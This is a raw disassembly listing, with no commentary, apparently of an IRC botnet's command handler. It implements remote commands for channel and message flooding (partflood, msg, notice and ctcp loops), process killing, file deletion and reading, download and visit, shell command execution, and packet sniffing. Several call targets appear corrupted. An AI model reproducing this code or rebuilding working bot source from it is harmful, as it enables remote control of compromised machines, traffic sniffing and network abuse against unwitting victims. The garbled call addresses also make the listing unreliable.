		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B948
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B944
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDD0 ; " "
		push	offset dword_42B940
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B930
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B92C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDD0 ; " "
		push	offset dword_42B940
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B918
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDD0 ; " "
		push	offset dword_42B940
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDD0 ; " "
		push	offset dword_42B940
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		call	near ptr 2690E78h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B8A8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B894
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803E7h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803E7h
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803E7h
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B890
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		nop
		call	near ptr 2690E78h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B868
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h


loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803E7h
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	near ptr 26803E7h
		nop
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B930
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803E7h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B930
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803E7h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B930
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803E7h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803E7h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B820
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26803E7h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B808
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26803E7h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803E7h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B820
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803E7h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26803E7h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803E7h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4AAC


loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBABC


loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB1CC
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B790
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------


loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B694
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DBD8
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]


loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B664
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B61
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_405C56


loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_405C40
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: sub_401ACD+4171j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset dword_42B628
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B598
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
